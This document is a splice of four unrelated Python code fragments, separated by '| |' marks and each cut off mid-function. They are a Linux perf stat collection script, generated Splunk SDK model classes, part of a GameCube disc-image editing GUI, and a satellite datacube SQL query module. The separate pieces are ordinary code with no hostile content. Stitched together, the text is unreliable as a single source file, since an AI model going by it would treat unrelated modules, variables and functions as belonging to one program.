if num_cgroups > 1:
args.nogroups = True
try:
import re
reg = r"^[0-9]*\.[0-9][0-9]*"
kernel = perf_helpers.get_version().split("Linux version")[1].lstrip()
significant_kernel_version = float(re.match(reg, kernel).group(0))
full_kernel_version = kernel
except Exception as e:
print(e)
raise SystemExit("Unable to get kernel version")
# Fix events not compatible with older kernel versions only
if significant_kernel_version == 3.10 and arch != "broadwell":
kernel_version = full_kernel_version.split(" ")[0]
prep_events.fix_events_for_older_kernels(eventfile, kernel_version)
# get perf events to collect
collection_events = []
events, collection_events = prep_events.prepare_perf_events(
eventfile, (args.nogroups is False), ((args.pid or args.cgroup) is not None)
)
if args.metadata:
cpuid_info = perf_helpers.get_cpuid_info(procinfo)
write_metadata(
args.outcsv,
collection_events,
arch,
cpuname,
cpuid_info,
args.interval,
args.muxinterval,
args.nogroups,
args.percore,
supervisor,
True,
)
sys.exit("Output with metadata in %s" % args.outcsv)
collection_type = "-a" if args.percore is False else "-a -A"
# start perf stat
if args.pid:
print("Info: Only CPU/core events will be enabled with pid option")
cmd = "perf stat -I %d -x , --pid %s -e %s -o %s" % (
interval,
args.pid,
events,
args.outcsv,
)
elif args.cgroup:
print("Info: Only CPU/core events will be enabled with cgroup option")
if num_cgroups == 1:
cmd = "perf stat -I %d -x , -e %s -G %s -o %s" % (
interval,
events,
args.cgroup,
args.outcsv,
)
else:
perf_format = prep_events.get_cgroup_event_format(
args.cgroup, collection_events
)
cmd = "perf stat -I %d -x , %s -o %s" % (interval, perf_format, args.outcsv)
elif args.app:
cmd = "perf stat %s -I %d -x , -e %s -o %s %s" % (
collection_type,
interval,
events,
args.outcsv,
args.app,
)
elif args.timeout:
cmd = "perf stat %s -I %d -x , -e %s -o %s sleep %d" % (
collection_type,
interval,
events,
args.outcsv,
args.timeout,
)
elif args.dryrun:
with open("results/pmu-checker.log", "w") as fw:
print("Checking if PMU counters are in-use already...")
pmuargs = resource_path("pmu-checker")
try:
run_result = run( # nosec
shlex.split(pmuargs),
stdout=PIPE,
stderr=PIPE,
universal_newlines=True,
)
fw.write(str(run_result.stdout))
except Exception as e:
print(e)
cmd = "perf stat %s -I %d -x , -e %s -o %s sleep 10" % (
collection_type,
interval,
events,
args.outcsv,
)
else:
cmd = "perf stat %s -I %d -x , -e %s -o %s" % (
collection_type,
interval,
events,
args.outcsv,
)
perfargs = shlex.split(cmd)
validate_perfargs(perfargs)
try:
print("Collecting perf stat for events in : %s" % eventfilename)
subprocess.call(perfargs) # nosec
print("Collection complete! Calculating TSC frequency now")
except KeyboardInterrupt:
| |
percent_complete of this DeleteSearchJob.
An estimate of the percent of time remaining before the delete search job completes.
:param percent_complete: The percent_complete of this DeleteSearchJob.
:type: int
"""
self._attrs["percentComplete"] = percent_complete
@property
def preview_available(self) -> "str":
""" Gets the preview_available of this DeleteSearchJob.
This field does not apply to delete search jobs and is defaulted to false.
"""
return self._attrs.get("previewAvailable")
@preview_available.setter
def preview_available(self, preview_available: "str"):
"""Sets the preview_available of this DeleteSearchJob.
This field does not apply to delete search jobs and is defaulted to false.
:param preview_available: The preview_available of this DeleteSearchJob.
:type: str
"""
self._attrs["previewAvailable"] = preview_available
@property
def query(self) -> "str":
""" Gets the query of this DeleteSearchJob.
The SPL search string that is generated based on index, module and predicate that are specified.
"""
return self._attrs.get("query")
@query.setter
def query(self, query: "str"):
"""Sets the query of this DeleteSearchJob.
The SPL search string that is generated based on index, module and predicate that are specified.
:param query: The query of this DeleteSearchJob.
:type: str
"""
self._attrs["query"] = query
@property
def query_parameters(self) -> "QueryParameters":
""" Gets the query_parameters of this DeleteSearchJob.
Represents parameters on the search job such as 'earliest' and 'latest'.
"""
return QueryParameters._from_dict(self._attrs["queryParameters"])
@query_parameters.setter
def query_parameters(self, query_parameters: "QueryParameters"):
"""Sets the query_parameters of this DeleteSearchJob.
Represents parameters on the search job such as 'earliest' and 'latest'.
:param query_parameters: The query_parameters of this DeleteSearchJob.
:type: QueryParameters
"""
self._attrs["queryParameters"] = query_parameters.to_dict()
@property
def required_freshness(self) -> "int":
""" Gets the required_freshness of this DeleteSearchJob.
This field does not apply to delete search jobs and is set to 0.
"""
return self._attrs.get("requiredFreshness")
@required_freshness.setter
def required_freshness(self, required_freshness: "int"):
"""Sets the required_freshness of this DeleteSearchJob.
This field does not apply to delete search jobs and is set to 0.
:param required_freshness: The required_freshness of this DeleteSearchJob.
:type: int
"""
self._attrs["requiredFreshness"] = required_freshness
@property
def resolved_earliest(self) -> "str":
""" Gets the resolved_earliest of this DeleteSearchJob.
The earliest time speciifed as an absolute value in GMT. The time is computed based on the values you specify for the 'timezone' and 'earliest' queryParameters.
"""
return self._attrs.get("resolvedEarliest")
@resolved_earliest.setter
def resolved_earliest(self, resolved_earliest: "str"):
"""Sets the resolved_earliest of this DeleteSearchJob.
The earliest time speciifed as an absolute value in GMT. The time is computed based on the values you specify for the 'timezone' and 'earliest' queryParameters.
:param resolved_earliest: The resolved_earliest of this DeleteSearchJob.
:type: str
"""
self._attrs["resolvedEarliest"] = resolved_earliest
@property
def resolved_latest(self) -> "str":
""" Gets the resolved_latest of this DeleteSearchJob.
The latest time specified as an absolute value in GMT. The time is computed based on the values you specify for the 'timezone' and 'earliest' queryParameters.
"""
return self._attrs.get("resolvedLatest")
@resolved_latest.setter
def resolved_latest(self, resolved_latest: "str"):
"""Sets the resolved_latest of this DeleteSearchJob.
The latest time specified as an absolute value in GMT. The time is computed based on the values you specify for the 'timezone' and 'earliest' queryParameters.
:param resolved_latest: The resolved_latest of this DeleteSearchJob.
:type: str
"""
self._attrs["resolvedLatest"] = resolved_latest
@property
def results_available(self) -> "int":
""" Gets the results_available of this DeleteSearchJob.
The number of results produced so far by the delete search job that are going to be deleted.
"""
return self._attrs.get("resultsAvailable")
@results_available.setter
def results_available(self, results_available: "int"):
"""Sets the results_available of this DeleteSearchJob.
The number of results produced so far by the delete search job that are going to be deleted.
:param results_available: The results_available of this DeleteSearchJob.
:type: int
"""
self._attrs["resultsAvailable"] = results_available
@property
def results_preview_available(self) -> "int":
""" Gets the results_preview_available of this DeleteSearchJob.
This field does not apply to delete search jobs and is defaulted to 0.
"""
return self._attrs.get("resultsPreviewAvailable")
@results_preview_available.setter
def results_preview_available(self, results_preview_available: "int"):
"""Sets the results_preview_available of this DeleteSearchJob.
This field does not apply to delete search jobs and is defaulted to 0.
:param results_preview_available: The results_preview_available of this DeleteSearchJob.
:type: int
"""
self._attrs["resultsPreviewAvailable"] = results_preview_available
@property
def sid(self) -> "str":
""" Gets the sid of this DeleteSearchJob.
The ID assigned to the delete search job.
"""
return self._attrs.get("sid")
@sid.setter
def sid(self, sid: "str"):
"""Sets the sid of this DeleteSearchJob.
The ID assigned to the delete search job.
:param sid: The sid of this DeleteSearchJob.
:type: str
"""
self._attrs["sid"] = sid
@property
def status(self) -> "SearchStatus":
""" Gets the status of this DeleteSearchJob.
"""
return SearchStatus.from_value(self._attrs.get("status"))
@status.setter
def status(self, status: "SearchStatus"):
"""Sets the status of this DeleteSearchJob.
:param status: The status of this DeleteSearchJob.
:type: SearchStatus
"""
if isinstance(status, Enum):
self._attrs["status"] = status.value
else:
self._attrs["status"] = status # If you supply a string, we presume you know the service will take it.
def to_dict(self):
return {k: v for (k, v) in self._attrs.items() if v is not None}
class FederatedConnection(SSCModel):
@staticmethod
def _from_dict(model: dict) -> "FederatedConnection":
instance = FederatedConnection.__new__(FederatedConnection)
instance._attrs = model
return instance
def __init__(self, created: "str" = None, createdby: "str" = None, hostnameip: "str" = None, modified: "str" = None, modifiedby: "str" = None, name: "str" = None, port: "float" = None, serviceaccountuser: "str" = None, **extra):
"""FederatedConnection"""
self._attrs = dict()
if created is not None:
self._attrs["created"] = created
if createdby is not None:
self._attrs["createdby"] = createdby
if hostnameip is not None:
self._attrs["hostnameip"] = hostnameip
if modified is not None:
self._attrs["modified"] = modified
if modifiedby is not None:
self._attrs["modifiedby"] = modifiedby
if name is not None:
self._attrs["name"] = name
if port is not None:
self._attrs["port"] = port
if serviceaccountuser is not None:
self._attrs["serviceaccountuser"] = serviceaccountuser
for k, v in extra.items():
self._attrs[k] = v
@property
def created(self) -> "str":
""" Gets the created of this FederatedConnection.
The timestamp when the federated connection was created.
"""
return self._attrs.get("created")
@created.setter
def created(self, created: "str"):
"""Sets the created of this FederatedConnection.
The timestamp when the federated connection was created.
:param created: The created of this FederatedConnection.
:type: str
"""
self._attrs["created"] = created
@property
def createdby(self) -> "str":
""" Gets the createdby of this FederatedConnection.
The user who created the federated connection.
"""
return self._attrs.get("createdby")
@createdby.setter
def createdby(self, createdby: "str"):
"""Sets the createdby of this FederatedConnection.
The user who created the federated connection.
:param createdby: The createdby of this FederatedConnection.
:type: str
"""
self._attrs["createdby"] = createdby
@property
def hostnameip(self) -> "str":
""" Gets the hostnameip of this FederatedConnection.
The remote hostname to connect yo.
"""
return self._attrs.get("hostnameip")
@hostnameip.setter
def hostnameip(self, hostnameip: "str"):
"""Sets the hostnameip of this FederatedConnection.
The remote hostname to connect yo.
:param hostnameip: The hostnameip of this FederatedConnection.
:type: str
"""
self._attrs["hostnameip"] = hostnameip
@property
def modified(self) -> "str":
""" Gets the modified of this FederatedConnection.
The timestamp when the federated connection was modified.
"""
return self._attrs.get("modified")
@modified.setter
def modified(self, modified: "str"):
"""Sets the modified of this FederatedConnection.
The timestamp when the federated connection was modified.
:param modified: The modified of this FederatedConnection.
:type: str
"""
self._attrs["modified"] = modified
@property
def modifiedby(self) -> "str":
""" Gets the modifiedby of this FederatedConnection.
The user who last modified the federated connection.
"""
return self._attrs.get("modifiedby")
@modifiedby.setter
def modifiedby(self, modifiedby: "str"):
"""Sets the modifiedby of this FederatedConnection.
The user who last modified the federated connection.
:param modifiedby: The modifiedby of this FederatedConnection.
:type: str
"""
self._attrs["modifiedby"] = modifiedby
@property
def name(self) -> "str":
""" Gets the name of this FederatedConnection.
The name of the federated connection.
"""
return self._attrs.get("name")
@name.setter
def name(self, name: "str"):
"""Sets the name of this FederatedConnection.
The name of the federated connection.
:param name: The name of this FederatedConnection.
:type: str
"""
self._attrs["name"] = name
@property
def port(self) -> "float":
""" Gets the port of this FederatedConnection.
The remote port number.
"""
return self._attrs.get("port")
@port.setter
def port(self, port: "float"):
"""Sets the port of this FederatedConnection.
The remote port number.
:param port: The port of this FederatedConnection.
:type: float
"""
self._attrs["port"] = port
@property
def serviceaccountuser(self) -> "str":
""" Gets the serviceaccountuser of this FederatedConnection.
The username on the service account.
"""
return self._attrs.get("serviceaccountuser")
@serviceaccountuser.setter
def serviceaccountuser(self, serviceaccountuser: "str"):
"""Sets the serviceaccountuser | |
original file, rename the back-up to the original file's name. Then, if successful, delete the original file.
try:
os.rename( discFilePath, discFilePath + '.bak' ) # Change the name of the original file so the new file can be named to it. Not deleted first in case the op below fails.
os.rename( backupFile.name, discFilePath ) # Rename the new 'back-up' file to the original file's name.
os.remove( discFilePath + '.bak' ) # Delete the original file.
except:
msg('A back-up file was successfully created, however there was an error while attempting to rename the files and remove the original.\n\n'
"This can happen if the original file is locked for editing (for example, if it's open in another program).")
return False, 0, 0
if fileWriteSuccessful:
# Reload the file to get the new properties, such as file offsets and sizes, and to reset descriptions and source info.
if buildingFromRootFolder: updatedFiles = None # No reason to highlight all the files; it's implied they're all "new/updated" since it's a new disc.
else: updatedFiles = filesReplaced + filesAdded + filesUpdated
rememberFile( discFilePath, False )
globalDiscDetails['isoFilePath'] = discFilePath
scanDisc( updateStatus, preserveTreeState=True, switchTab=False, updatedFiles=updatedFiles )
# Warn the user if an ISO is too large for certain loaders
isoByteSize = os.path.getsize( discFilePath )
if isoByteSize > 1459978240: # This is the default/standard size for GameCube discs.
msg( 'The disc is larger than the standard size for GameCube discs (which is ~1.36 GB, or 1,459,978,240 bytes). This will be a problem for Nintendont, but discs up to 4 GB '
'should still work fine for both Dolphin and DIOS MIOS. (Dolphin may still play discs larger than 4 GB, but some features may not work.)', 'Standard Disc Size Exceeded' )
return fileWriteSuccessful, filesReplaced, filesAdded # files replaced will always count the FST if a rebuild was required
def saveDatAs(): # Will overwrite an existing file, or create a new file if one does not exist.
if not globalDatFile:
msg( "This operation is for a DAT file that has already been loaded in the DAT Texture Tree tab. "
"If you'd like to save a file that's in a disc to a standalone file, use the 'Export' feature." )
else:
# Prompt for a place to save the new DAT file.
saveDataToFileAs( globalDatFile.getFullData(), globalDatFile )
def saveBannerAs(): # Will overwrite an existing file, or create a new file if one does not exist.
if not globalBannerFile:
msg( "This operation is for a banner file that has already been loaded in the Disc Details tab. "
"If you'd like to save a file that's in a disc to a standalone file, use the 'Export' feature." )
else:
# Prompt for a place to save the new banner file.
saveDataToFileAs( globalBannerFile.data, globalBannerFile )
def saveDataToFileAs( datData, datFile ):
# Prompt for a place to save the file.
ext = os.path.splitext( datFile.fileName )[1].replace('.', '')
savePath = tkFileDialog.asksaveasfilename(
title="Where would you like to export the file?",
initialdir=settings.get( 'General Settings', 'defaultSearchDirectory' ),
initialfile=datFile.fileName,
defaultextension=ext,
filetypes=[( ext.upper() + " files", '*.' + ext.lower() ), ( "All files", "*.*" )] ) #confirmoverwrite ?
if savePath:
# Update the default directory to start in when opening or exporting files.
dirPath = os.path.dirname( savePath )
settings.set( 'General Settings', 'defaultSearchDirectory', dirPath )
with open( settingsFile, 'w') as theSettingsFile: settings.write( theSettingsFile )
saveSuceeded = writeDatFile( savePath, datData, 'Save', datFile )
# If the operation was a success, update the filepaths to the newly created file
if saveSuceeded:
origFileName = datFile.fileName
newFileName = os.path.basename( savePath )
# Update internal class references
datFile.path = savePath
datFile.source = 'file'
datFile.fileName = newFileName
# Update external references (shown on the GUI)
Gui.datDestination.set( savePath )
if len( newFileName ) > 30: newFileName = newFileName[:27] + '...'
Gui.fileStructureTree.heading( '#0', anchor='center', text=newFileName ) # SA tab
# If the new file's name is displayed in the SA tab's property pane, update that too
structPropertiesChildren = Gui.structurePropertiesFrame.interior.winfo_children()
if structPropertiesChildren:
labelWidget = structPropertiesChildren[0]
if labelWidget.winfo_class() == 'TLabel' and labelWidget['text'] == origFileName:
labelWidget['text'] = newFileName
# Add the new file to the recent files menu
#rememberFile( savePath )
def getDiscPath( iid, isoPath='', includeRoot=True ):
""" Builds a disc path, like isoPath, but includes convenience folders if they are turned on. """
if not isoPath:
isoPath = Gui.isoFileTree.item( iid, 'values' )[-3]
if generalBoolSettings['useDiscConvenienceFolders'].get():
# Scan for 'convenience folders' (those not actually in the disc), and add them to the path; they won't exist in isoPath
root = globalDiscDetails['gameId'].lower()
isoParts = isoPath.split( '/' )
pathParts = [ isoParts[-1] ] # A list, starting with just the filename
parentIid = Gui.isoFileTree.parent( iid )
while parentIid != root:
parentFolderText = Gui.isoFileTree.item( parentIid, 'text' ).strip()
for character in ( '\\', '/', ':', '*', '?', '"', '<', '>', '|' ): # Remove illegal characters
parentFolderText = parentFolderText.replace( character, '-' )
pathParts.insert( 0, parentFolderText )
parentIid = Gui.isoFileTree.parent( parentIid )
if includeRoot:
pathParts.insert( 0, isoParts[0] )
return '/'.join( pathParts )
elif not includeRoot:
return '/'.join( isoPath.split('/')[1:] ) # Removes the GameID
else:
return isoPath
def exportItemsInSelection( selection, iidSelectionsTuple, isoBinary, directoryPath, exported, failedExports ):
""" Basically just a recursive helper function to exportIsoFiles(). """
for iid in selection:
# Prevent files from being exported twice depending on user selection
if (selection != iidSelectionsTuple) and iid in iidSelectionsTuple:
continue
#if initialSelection or iid not in iidSelectionsTuple:
_, entity, isoOffset, fileSize, isoPath, source, data = Gui.isoFileTree.item( iid, 'values' )
if entity == 'file':
Gui.programStatus.set( 'Exporting File ' + str(exported + failedExports + 1) + '....' )
Gui.programStatusLabel.update()
try:
# Retrieve the file data.
if source == 'iso':
isoBinary.seek( int(isoOffset, 16) )
datData = bytearray( isoBinary.read( int(fileSize) ) )
elif source == 'ram':
datData = bytearray.fromhex( data )
else: # source == 'path', meaning data is a filepath to an external file
with open( data, 'rb') as externalFile:
datData = bytearray( externalFile.read() )
# Construct a file path for saving, and destination folders if they don't exist
savePath = directoryPath + '/' + getDiscPath( iid, isoPath, includeRoot=False )
createFolders( os.path.split(savePath)[0] )
# Save the data to a new file.
with open( savePath, 'wb') as newFile:
newFile.write( datData )
exported += 1
except:
failedExports += 1
else: # Item is a folder.
exported, failedExports = exportItemsInSelection( Gui.isoFileTree.get_children(iid), iidSelectionsTuple, isoBinary, directoryPath, exported, failedExports )
return exported, failedExports
def exportIsoFiles():
if not discDetected(): return
iidSelectionsTuple = Gui.isoFileTree.selection()
if not iidSelectionsTuple:
updateProgramStatus( 'Eh?' )
msg( 'Please first select a file or folder to export.' )
return
elif globalDiscDetails['isoFilePath'] == '' or not os.path.exists( globalDiscDetails['isoFilePath'] ):
updateProgramStatus( 'Export Error' )
msg( "Unable to find the disc image. Be sure that the file path is correct and that the file has not been moved or deleted.", 'Disc Not Found' )
return
_, entity, isoOffset, fileSize, isoPath, source, data = Gui.isoFileTree.item( iidSelectionsTuple[0], 'values' )
# Check the selection to determine if a single or multiple files need to be exported
if len( iidSelectionsTuple ) == 1 and entity == 'file':
# Prompt for a place to save the file.
fileName = '-'.join( isoPath.split('/')[1:] ) # Removes the GameID, and separates directories with dashes
ext = os.path.splitext( fileName )[1].replace('.', '')
savePath = tkFileDialog.asksaveasfilename(
title="Where would you like to export the file?",
initialdir=settings.get( 'General Settings', 'defaultSearchDirectory' ),
#initialfile=filenameWithNoExt + ' (from ' + isoFilenameWithNoExt + ')',
initialfile=fileName,
defaultextension=ext,
filetypes=[( ext.upper() + " files", '*.' + ext.lower() ), ( "All files", "*.*" )] ) #confirmoverwrite ?
# If the above wasn't canceled and returned a path, use that to save the file
if savePath:
directoryPath = os.path.dirname( savePath ) # Used at the end of this function
# Get the file's data and write it to an external file
datData = getFileDataFromDiscTreeAsBytes( iidValues=(entity, isoOffset, fileSize, source, data) )
writeDatFile( savePath, datData, 'Export' )
else: directoryPath = ''
else: # Multiple files selected to be exported. Prompt for a directory to save them to.
directoryPath = tkFileDialog.askdirectory(
title='Where would you like to save these files?',
initialdir=settings.get( 'General Settings', 'defaultSearchDirectory' ),
parent=Gui.root,
mustexist=True )
if directoryPath != '':
exported = 0
failedExports = 0
with open( globalDiscDetails['isoFilePath'], 'rb') as isoBinary:
exported, failedExports = exportItemsInSelection( iidSelectionsTuple, iidSelectionsTuple, isoBinary, directoryPath, exported, failedExports )
if failedExports == 0: updateProgramStatus( 'Export Successful' )
else:
updateProgramStatus( 'Failed Exports' ) # writeDatFile will otherwise update this with success.
if exported > 0:
msg( str(exported) + ' files exported successfully. However, ' + str(failedExports) + ' files failed to export.' )
else: msg( 'Unable to export.' )
if directoryPath:
# Update the default directory to start in when opening or exporting files.
settings.set( 'General Settings', 'defaultSearchDirectory', directoryPath )
with open( settingsFile, 'w') as theSettingsFile: settings.write( theSettingsFile )
def exportTexturesInSelection( selection, iidSelectionsTuple, isoBinary, chosenSaveDirectory, exported, failedExports, exportFormat ):
""" Basically just a recursive helper function to exportSelectedFileTextures(). """
for iid in selection:
# Prevent files from being exported twice depending on user selection
if (selection != iidSelectionsTuple) and iid in iidSelectionsTuple:
continue
_, entity, _, _, isoPath, _, _ = Gui.isoFileTree.item( | |
e:
_log.error("Caught exception %s", e)
conn.rollback()
raise
finally:
conn = cursor = None
def list_tiles_wkt_to_file(wkt, years, datasets, format, filename, sort=SortType.ASC, config=None):
pass
def visit_tiles_wkt(wkt, years, datasets, sort=SortType.ASC, config=None):
pass
def result_generator(cursor, size=100):
while True:
results = cursor.fetchmany(size)
if not results:
break
for result in results:
yield result
###
# AREA OF INTEREST / POLYGON QUERIES
###
# CELL
def list_cells_vector_file(vector_file, vector_layer, vector_feature, satellites, acq_min, acq_max, dataset_types, sort=SortType.ASC, config=None):
"""
Return a list of cells matching the criteria as a SINGLE-USE generator
.. warning::
Deprecated: use either datacube.api.query.list_cells_wkb_as_list() or datacube.api.query.list_cells_wkb_as_generator()
:param vector_file: Vector (ESRI Shapefile, KML, ...) file containing the shape
:type vector_file: str
:param vector_layer: Layer (0 based index) within the vector file
:type vector_layer: int
:param vector_feature: Feature (0 based index) within the layer
:type vector_feature: int
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param sort: Sort order
:type sort: datacube.api.query.SortType
:param config: Config
:type config: datacube.config.Config
:return: List of cells
:rtype: list[datacube.api.model.Cell]
"""
return list_cells_vector_file_as_generator(vector_file, vector_layer, vector_feature, satellites, acq_min, acq_max, dataset_types, sort, config)
def list_cells_vector_file_as_list(vector_file, vector_layer, vector_feature, satellites, acq_min, acq_max, dataset_types, sort=SortType.ASC, config=None):
"""
Return a list of cells matching the criteria AS A REUSABLE LIST rather than as a one-use-generator
:param vector_file: Vector (ESRI Shapefile, KML, ...) file containing the shape
:type vector_file: str
:param vector_layer: Layer (0 based index) within the vector file
:type vector_layer: int
:param vector_feature: Feature (0 based index) within the layer
:type vector_feature: int
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param sort: Sort order
:type sort: datacube.api.query.SortType
:param config: Config
:type config: datacube.config.Config
:return: List of cells
:rtype: list[datacube.api.model.Cell]
"""
return list(list_cells_vector_file_as_generator(vector_file, vector_layer, vector_feature, satellites, acq_min, acq_max, dataset_types, sort, config))
def list_cells_vector_file_as_generator(vector_file, vector_layer, vector_feature, satellites, acq_min, acq_max, dataset_types, sort=SortType.ASC, config=None):
"""
Return a list of cells matching the criteria AS A REUSABLE LIST rather than as a one-use-generator
:param vector_file: Vector (ESRI Shapefile, KML, ...) file containing the shape
:type vector_file: str
:param vector_layer: Layer (0 based index) within the vector file
:type vector_layer: int
:param vector_layer: Feature (0 based index) within the layer
:type vector_layer: int
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param sort: Sort order
:type sort: datacube.api.query.SortType
:param config: Config
:type config: datacube.config.Config
:return: List of cells
:rtype: list[datacube.api.model.Cell]
"""
return list_cells_wkb_as_generator(extract_feature_geometry_wkb(vector_file, vector_layer, vector_feature),
satellites, acq_min, acq_max, dataset_types, sort, config)
def list_cells_wkb(wkb, satellites, acq_min, acq_max, dataset_types, sort=SortType.ASC, config=None):
"""
Return a list of cells matching the criteria as a SINGLE-USE generator
.. warning::
Deprecated: use either datacube.api.query.list_cells_wkb_as_list() or datacube.api.query.list_cells_wkb_as_generator()
:param wkb: Shape as WKB format
:type wkb: WKB
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param sort: Sort order
:type sort: datacube.api.query.SortType
:param config: Config
:type config: datacube.config.Config
:return: List of cells
:rtype: list[datacube.api.model.Cell]
"""
return list_cells_wkb_as_generator(wkb, satellites, acq_min, acq_max, dataset_types, sort, config)
def list_cells_wkb_as_list(wkb, satellites, acq_min, acq_max, dataset_types, sort=SortType.ASC, config=None):
"""
Return a list of cells matching the criteria AS A REUSABLE LIST rather than as a one-use-generator
:param wkb: Shape as WKB format
:type wkb: WKB
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param sort: Sort order
:type sort: datacube.api.query.SortType
:param config: Config
:type config: datacube.config.Config
:return: List of cells
:rtype: list[datacube.api.model.Cell]
"""
return list(list_cells_wkb_as_generator(wkb, satellites, acq_min, acq_max, dataset_types, sort, config))
def list_cells_wkb_as_generator(wkb, satellites, acq_min, acq_max, dataset_types, sort=SortType.ASC, config=None):
"""
Return a list of cells matching the criteria as a SINGLE-USE generator
:param wkb: Shape as WKB format
:type wkb: WKB
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param sort: Sort order
:type sort: datacube.api.query.SortType
:param config: Config
:type config: datacube.config.Config
:return: List of cells
:rtype: list[datacube.api.model.Cell]
"""
conn, cursor = None, None
try:
# connect to database
conn, cursor = connect_to_db(config=config)
sql, params = build_list_cells_wkb_sql_and_params(wkb, satellites, acq_min, acq_max, dataset_types, sort)
_log.debug(cursor.mogrify(sql, params))
cursor.execute(sql, params)
for record in result_generator(cursor):
_log.debug(record)
yield Cell.from_db_record(record)
except Exception as e:
_log.error("Caught exception %s", e)
conn.rollback()
raise
finally:
conn = cursor = None
def list_cells_wkb_to_file(wkb, satellites, acq_min, acq_max, dataset_types, filename, sort=SortType.ASC, config=None):
"""
Write the list of cells matching the criteria to the specified file
:param wkb: Shape as WKB format
:type wkb: WKB
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param filename: The output file
:type filename: str
:param sort: Sort order
:type sort: datacube.api.query.SortType
:param config: Config
:type config: datacube.config.Config
"""
conn = cursor = None
try:
# connect to database
conn, cursor = connect_to_db(config=config)
sql, params = build_list_cells_wkb_sql_and_params(wkb, satellites, acq_min, acq_max, dataset_types, sort)
sql = to_file_ify_sql(sql)
if filename:
with open(filename, "w") as f:
cursor.copy_expert(cursor.mogrify(sql, params), f)
else:
cursor.copy_expert(cursor.mogrify(sql, params), sys.stdout)
except Exception as e:
_log.error("Caught exception %s", e)
conn.rollback()
raise
finally:
conn = cursor = None
def build_list_cells_wkb_sql_and_params(wkb, satellites, acq_min, acq_max, dataset_types, sort=SortType.ASC):
"""
Build the SQL query string and parameters required to return the cells matching the criteria
:param wkb: Shape as WKB format
:type wkb: WKB
:param satellites: Satellites
:type satellites: list[datacube.api.model.Satellite]
:param acq_min: Acquisition date range
:type acq_min: datetime.datetime
:param acq_max: Acquisition date range
:type acq_max: datetime.datetime
:param dataset_types: Dataset types
:type dataset_types: list[datacube.api.model.DatasetType]
:param sort: Sort order
:type sort: datacube.api.query.SortType
:return: The SQL query and params
:rtype: (str, dict)
"""
sql = """
SELECT DISTINCT nbar.x_index, nbar.y_index
FROM acquisition
JOIN satellite ON satellite.satellite_id=acquisition.satellite_id
"""
sql += """
join
(
select
dataset.acquisition_id, tile.dataset_id, tile.x_index, tile.y_index, tile.tile_pathname, tile.tile_type_id, tile.tile_class_id
from tile
join dataset on dataset.dataset_id=tile.dataset_id
where dataset.level_id = %(level_nbar)s
) as nbar on nbar.acquisition_id=acquisition.acquisition_id
"""
sql += """
join tile_footprint on tile_footprint.x_index=nbar.x_index and tile_footprint.y_index=nbar.y_index
"""
if DatasetType.PQ25 in dataset_types:
sql += """
join
(
select
dataset.acquisition_id, tile.dataset_id, tile.x_index, tile.y_index, tile.tile_pathname, tile.tile_type_id, tile.tile_class_id
from tile
join dataset on dataset.dataset_id=tile.dataset_id
where dataset.level_id = %(level_pqa)s
) as pq on
pq.acquisition_id=acquisition.acquisition_id
and pq.x_index=nbar.x_index and pq.y_index=nbar.y_index
and pq.tile_type_id=nbar.tile_type_id and pq.tile_class_id=nbar.tile_class_id
"""
if DatasetType.FC25 in dataset_types:
sql += """
join
(
select
dataset.acquisition_id, tile.dataset_id, tile.x_index, tile.y_index, tile.tile_pathname, tile.tile_type_id, tile.tile_class_id
from tile
join dataset on dataset.dataset_id=tile.dataset_id
where dataset.level_id = %(level_fc)s
) as fc on
fc.acquisition_id=acquisition.acquisition_id
and fc.x_index=nbar.x_index and fc.y_index=nbar.y_index
and fc.tile_type_id=nbar.tile_type_id and fc.tile_class_id=nbar.tile_class_id
"""
if DatasetType.DSM in dataset_types:
sql += """
join
(
select
dataset.acquisition_id, tile.dataset_id, tile.x_index, tile.y_index, tile.tile_pathname, tile.tile_type_id, tile.tile_class_id
from tile
join dataset on dataset.dataset_id=tile.dataset_id
where dataset.level_id = %(level_dsm)s
) as dsm on
dsm.x_index=nbar.x_index and dsm.y_index=nbar.y_index
and dsm.tile_type_id=nbar.tile_type_id and dsm.tile_class_id=nbar.tile_class_id
"""
if DatasetType.DEM in dataset_types:
sql += """
join
(
select
dataset.acquisition_id, tile.dataset_id, tile.x_index, tile.y_index, tile.tile_pathname, tile.tile_type_id, tile.tile_class_id
from tile
join dataset on dataset.dataset_id=tile.dataset_id
where dataset.level_id = %(level_dem)s
) as dem on
dem.x_index=nbar.x_index and dem.y_index=nbar.y_index
and dem.tile_type_id=nbar.tile_type_id and dem.tile_class_id=nbar.tile_class_id
"""
if DatasetType.DEM_HYDROLOGICALLY_ENFORCED in dataset_types:
sql += """
join
(
select
dataset.acquisition_id, tile.dataset_id, tile.x_index, tile.y_index, tile.tile_pathname, tile.tile_type_id, tile.tile_class_id
from tile
join dataset on dataset.dataset_id=tile.dataset_id
where dataset.level_id = %(level_dem_h)s
) as dem_h on
